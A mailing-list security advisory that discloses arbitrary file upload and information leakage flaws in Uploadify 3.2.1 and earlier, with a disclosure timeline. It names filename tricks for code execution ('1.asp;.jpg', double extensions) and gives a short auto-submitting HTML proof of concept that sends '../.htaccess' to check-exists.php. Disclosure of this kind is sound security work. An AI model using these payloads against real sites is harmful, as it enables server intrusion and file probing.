Uploadify versions 3.2.1 and below suffer from remote shell upload and information disclosure vulnerabilities.
42181d90d3a59f79ebd60cc206e7db18525b5ce197976ea8e3cd7560476156fbHello list!
These are Arbitrary File Uploading and Information Leakage vulnerabilities
in Uploadify. The same as in June with previous vulnerabilities in
Uploadify, in September the developers just ignored my warnings, even I sent
letter to multiple their e-mail addresses.
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Affected products:
-------------------------
Vulnerable are Uploadify v3.2.1 and previous versions.
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Affected vendors:
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Reactive Apps
http://www.uploadify.com
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Details:
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Arbitrary File Uploading (WASC-31):
Code Execution attack via file uploading. There are two methods of code
execution: by using of symbol ";" (1.asp;.jpg) in file name (IIS) and by
double extension (1.php.jpg) (Apache with special configuration).
Information Leakage (WASC-13):
Checking arbitrary file existence at the server.
Uploadify IL.html
<html>
<head>
<title>Uploadify Information Leakage exploit (C) 2013 MustLive.
http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/uploadify/check-exists.php"
method="post">
<input type="hidden" name="filename" value="../.htaccess">
</form>
</body>
</html>
------------
Timeline:
------------
2013.09.20 - announced at my site.
2013.09.21 - informed developers on multiple e-mails.
2013.10.24 - disclosed at my site (http://websecurity.com.ua/6777/).
Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua
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